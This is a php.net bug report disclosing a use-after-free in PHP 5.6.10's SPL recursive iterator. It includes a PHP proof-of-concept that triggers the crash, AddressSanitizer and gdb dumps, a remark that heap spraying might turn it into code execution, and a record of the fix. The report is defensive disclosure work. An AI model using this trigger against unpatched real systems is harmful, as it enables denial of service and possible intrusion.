php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #69970 Use-after-free vulnerability in spl_recursive_it_move_forward_ex()
Submitted: 2015-06-30 15:14 UTC Modified: 2015-07-05 04:05 UTC
From: s dot paraschoudis at gmail dot com Assigned:
Status: Closed Package: Reproducible crash
PHP Version: 5.6.10 OS: Ubuntu 14.04.1 LTS (32 bit)
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: s dot paraschoudis at gmail dot com
New email:
PHP Version: OS:

 

 [2015-06-30 15:14 UTC] s dot paraschoudis at gmail dot com
Description:
------------
PoC
==============
<?php

class RecursiveArrayIteratorIterator extends RecursiveIteratorIterator {
  function rewind() {
    echo "dummy\n";
  }
  function endChildren() {
    echo $this->getDepth();
    // Trigger use-after-free
    parent::rewind();
  }
}
$arr = array("a", array("ba", array("bba", "bbb")));
$obj = new RecursiveArrayIterator($arr);
$rit = new RecursiveArrayIteratorIterator($obj);

foreach ($rit as $k => $v) {
  echo ($rit->getDepth()) . "$k=>$v\n";
}
?>

Running the following PoC we get:

user@ubuntuvm:~/$ USE_ZEND_ALLOC=0 ~/Desktop/php-5.6.10/sapi/cli/php iterator_uaf.php 

=================================================================
==3109== ERROR: AddressSanitizer: heap-use-after-free on address 0xb591ec74 at pc 0x87048d4 bp 0xbfb9a8a8 sp 0xbfb9a89c
READ of size 4 at 0xb591ec74 thread T0
    #0 0x87048d3 in spl_recursive_it_move_forward_ex spl_iterators.c:383
    #1 0x870728b in zim_spl_RecursiveIteratorIterator_next spl_iterators.c:674
    #2 0x8aa46de in zend_call_function zend_execute_API.c:847
    #3 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
    #4 0x8b39526 in zend_user_it_move_forward zend_interfaces.c:224
    #5 0x8c0be08 in ZEND_FE_FETCH_SPEC_VAR_HANDLER zend_vm_execute.h:14024
    #6 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
    #7 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
    #8 0x8ade628 in zend_execute_scripts zend.c:1341
    #9 0x894d95b in php_execute_script main.c:2597
    #10 0x8d14b83 in do_cli php_cli.c:994
    #11 0x8d172c0 in main php_cli.c:1378
    #12 0xb5d76a82 in __libc_start_main libc-start.c:287
    #13 0x80628b0 in _start ??:?
0xb591ec74 is located 4 bytes inside of 24-byte region [0xb591ec70,0xb591ec88)
freed by thread T0 here:
    #0 0xb611c774 in __interceptor_free ??:?
    #1 0x8a2de51 in _efree zend_alloc.c:2437
    #2 0x8729964 in spl_array_it_dtor spl_array.c:999
    #3 0x8704cf8 in spl_recursive_it_rewind_ex spl_iterators.c:400
    #4 0x8706b48 in zim_spl_RecursiveIteratorIterator_rewind spl_iterators.c:608
    #5 0x8b9f3a7 in zend_do_fcall_common_helper_SPEC zend_vm_execute.h:558
    #6 0x8ba0dac in ZEND_DO_FCALL_BY_NAME_SPEC_HANDLER zend_vm_execute.h:693
    #7 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
    #8 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
    #9 0x8aa4049 in zend_call_function zend_execute_API.c:829
    #10 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
    #11 0x870480f in spl_recursive_it_move_forward_ex spl_iterators.c:374
    #12 0x870728b in zim_spl_RecursiveIteratorIterator_next spl_iterators.c:674
    #13 0x8aa46de in zend_call_function zend_execute_API.c:847
    #14 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
    #15 0x8b39526 in zend_user_it_move_forward zend_interfaces.c:224
    #16 0x8c0be08 in ZEND_FE_FETCH_SPEC_VAR_HANDLER zend_vm_execute.h:14024
    #17 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
    #18 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
    #19 0x8ade628 in zend_execute_scripts zend.c:1341
    #20 0x894d95b in php_execute_script main.c:2597
    #21 0x8d14b83 in do_cli php_cli.c:994
    #22 0x8d172c0 in main php_cli.c:1378
    #23 0xb5d76a82 in __libc_start_main libc-start.c:287
previously allocated by thread T0 here:
    #0 0xb611c854 in malloc ??:?
    #1 0x8a2dd20 in _emalloc zend_alloc.c:2427
    #2 0x872aa3b in spl_array_get_iterator spl_array.c:1177
    #3 0x8704323 in spl_recursive_it_move_forward_ex spl_iterators.c:351
    #4 0x870728b in zim_spl_RecursiveIteratorIterator_next spl_iterators.c:674
    #5 0x8aa46de in zend_call_function zend_execute_API.c:847
    #6 0x8b3881d in zend_call_method zend_interfaces.c:97 (discriminator 1)
    #7 0x8b39526 in zend_user_it_move_forward zend_interfaces.c:224
    #8 0x8c0be08 in ZEND_FE_FETCH_SPEC_VAR_HANDLER zend_vm_execute.h:14024
    #9 0x8b9d3d9 in execute_ex zend_vm_execute.h:363
    #10 0x8b9d4e4 in zend_execute zend_vm_execute.h:388
    #11 0x8ade628 in zend_execute_scripts zend.c:1341
    #12 0x894d95b in php_execute_script main.c:2597
    #13 0x8d14b83 in do_cli php_cli.c:994
    #14 0x8d172c0 in main php_cli.c:1378
    #15 0xb5d76a82 in __libc_start_main libc-start.c:287
==3455== ABORTING


Without ASAN instrumentation:

gdb-peda$ run iterator_uaf.php 
Starting program: /home/user/Desktop/php5610/sapi/cli/php iterator_uaf.php
dummy
00=>a
00=>a
10=>ba
20=>bba
21=>bbb
210
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x5a5a5a5a ('ZZZZ')
EBX: 0xbfffba18 --> 0xb7be2410 --> 0x0 
ECX: 0x14 
EDX: 0xb7c ('|\x0b')
ESI: 0xb7be1f48 --> 0x2 
EDI: 0xbfffb9d0 --> 0xb7be1f48 --> 0x2 
EBP: 0xbfffb8d8 --> 0xbfffb908 --> 0xbfffb9e8 --> 0xbfffba88 --> 0xbfffbad8 --> 0xbfffbb58 --> 0xbfffbb88 --> 0xbfffbba8 --> 0xbfffbc18 --> 0xbfffddc8 --> 0xbfffefb8 --> 0xbffff0d8 --> 0x0 
ESP: 0xbfffb880 --> 0xbfffb8e4 --> 0xb7be1f48 --> 0x2 
EIP: 0x82da01e (<spl_recursive_it_move_forward_ex+2065>:  mov    eax,DWORD PTR [eax])
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x82da013 <spl_recursive_it_move_forward_ex+2054>: call   0x8445051 <zend_clear_exception>
   0x82da018 <spl_recursive_it_move_forward_ex+2059>: mov    eax,DWORD PTR [ebp-0x18]
   0x82da01b <spl_recursive_it_move_forward_ex+2062>: mov    eax,DWORD PTR [eax+0x4]
=> 0x82da01e <spl_recursive_it_move_forward_ex+2065>: mov    eax,DWORD PTR [eax]
   0x82da020 <spl_recursive_it_move_forward_ex+2067>: mov    edx,DWORD PTR [ebp-0x18]
   0x82da023 <spl_recursive_it_move_forward_ex+2070>: mov    DWORD PTR [esp],edx
   0x82da026 <spl_recursive_it_move_forward_ex+2073>: call   eax
   0x82da028 <spl_recursive_it_move_forward_ex+2075>: mov    eax,DWORD PTR [ebp+0x8]
[------------------------------------stack-------------------------------------]
0000| 0xbfffb880 --> 0xbfffb8e4 --> 0xb7be1f48 --> 0x2 
0004| 0xbfffb884 --> 0xb7bdf8e4 --> 0x2 
0008| 0xbfffb888 --> 0xb7be2198 --> 0xb7bdfc10 --> 0x8425002 (<zend_stack_push+210>:  add    eax,ecx)
0012| 0xbfffb88c --> 0x88b1010 ("endchildren")
0016| 0xbfffb890 --> 0xb ('\x0b')
0020| 0xbfffb894 --> 0x0 
0024| 0xbfffb898 --> 0x0 
0028| 0xbfffb89c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x082da01e in spl_recursive_it_move_forward_ex (object=0xb7be215c, zthis=0xb7be1f48) at /home/user/Desktop/php5610/ext/spl/spl_iterators.c:383
383       iterator->funcs->dtor(iterator TSRMLS_CC);
gdb-peda$ bt
#0  0x082da01e in spl_recursive_it_move_forward_ex (object=0xb7be215c, zthis=0xb7be1f48) at /home/user/Desktop/php5610/ext/spl/spl_iterators.c:383
#1  0x082dad68 in zim_spl_RecursiveIteratorIterator_next (ht=0x0, return_value=0xb7be2410, return_value_ptr=0xbfffba18, this_ptr=0xb7be1f48, return_value_used=0x1) at /home/user/Desktop/php5610/ext/spl/spl_iterators.c:674
#2  0x08416f48 in zend_call_function (fci=0xbfffba5c, fci_cache=0xbfffba48) at /home/user/Desktop/php5610/Zend/zend_execute_API.c:847
#3  0x0844380d in zend_call_method (object_pp=0xbfffbac8, obj_ce=0xb7bdf8e4, fn_proxy=0xb7bdf9dc, function_name=0x8926e60 "next", function_name_len=0x4, retval_ptr_ptr=0x0, param_count=0x0, arg1=0x0, arg2=0x0) at /home/user/Desktop/php5610/Zend/zend_interfaces.c:97
#4  0x08443c82 in zend_user_it_move_forward (_iter=0xb7bdf2d4) at /home/user/Desktop/php5610/Zend/zend_interfaces.c:224
#5  0x0847d766 in ZEND_FE_FETCH_SPEC_VAR_HANDLER (execute_data=0xb7bc1288) at /home/user/Desktop/php5610/Zend/zend_vm_execute.h:14024
#6  0x08462492 in execute_ex (execute_data=0xb7bc1288) at /home/user/Desktop/php5610/Zend/zend_vm_execute.h:363
#7  0x084624f7 in zend_execute (op_array=0xb7bde9f8) at /home/user/Desktop/php5610/Zend/zend_vm_execute.h:388
#8  0x0842845a in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /home/user/Desktop/php5610/Zend/zend.c:1341
#9  0x083a93b8 in php_execute_script (primary_file=0xbfffde90) at /home/user/Desktop/php5610/main/main.c:2597
#10 0x084c5493 in do_cli (argc=0x2, argv=0x89bf018) at /home/user/Desktop/php5610/sapi/cli/php_cli.c:994
#11 0x084c64e0 in main (argc=0x2, argv=0x89bf018) at /home/user/Desktop/php5610/sapi/cli/php_cli.c:1378
#12 0xb7c35a83 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#13 0x08062541 in _start ()


As you can see the crash occured while trying to dereference EAX which currently points to freed memory.
Please notice the call EAX instruction at spl_recursive_it_move_forward_ex+2073, it looks like if we manage
to control EAX (with heap spraying) we might be able to gain code execution.

I will try to provide a PoC that demonstrates that at some phase.

Regards,
Symeon.


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-05 04:05 UTC] stas@php.net
-Type: Security +Type: Bug
 [2015-07-07 13:34 UTC] laruence@php.net
Automatic comment on behalf of laruence
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e41f600365fe9f27727a62a850a4d55416ae856f
Log: Fixed bug #69970 (Use-after-free vulnerability in spl_recursive_it_move_forward_ex())
 [2015-07-07 13:34 UTC] laruence@php.net
-Status: Open +Status: Closed
 [2015-07-07 23:36 UTC] ab@php.net
Automatic comment on behalf of laruence
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e41f600365fe9f27727a62a850a4d55416ae856f
Log: Fixed bug #69970 (Use-after-free vulnerability in spl_recursive_it_move_forward_ex())
 [2015-07-10 00:53 UTC] tyrael@php.net
Automatic comment on behalf of laruence
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1f4a84109549480a40b3c3b49456aa7bb4105bac
Log: Fixed bug #69970 (Use-after-free vulnerability in spl_recursive_it_move_forward_ex())
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 11:01:29 2024 UTC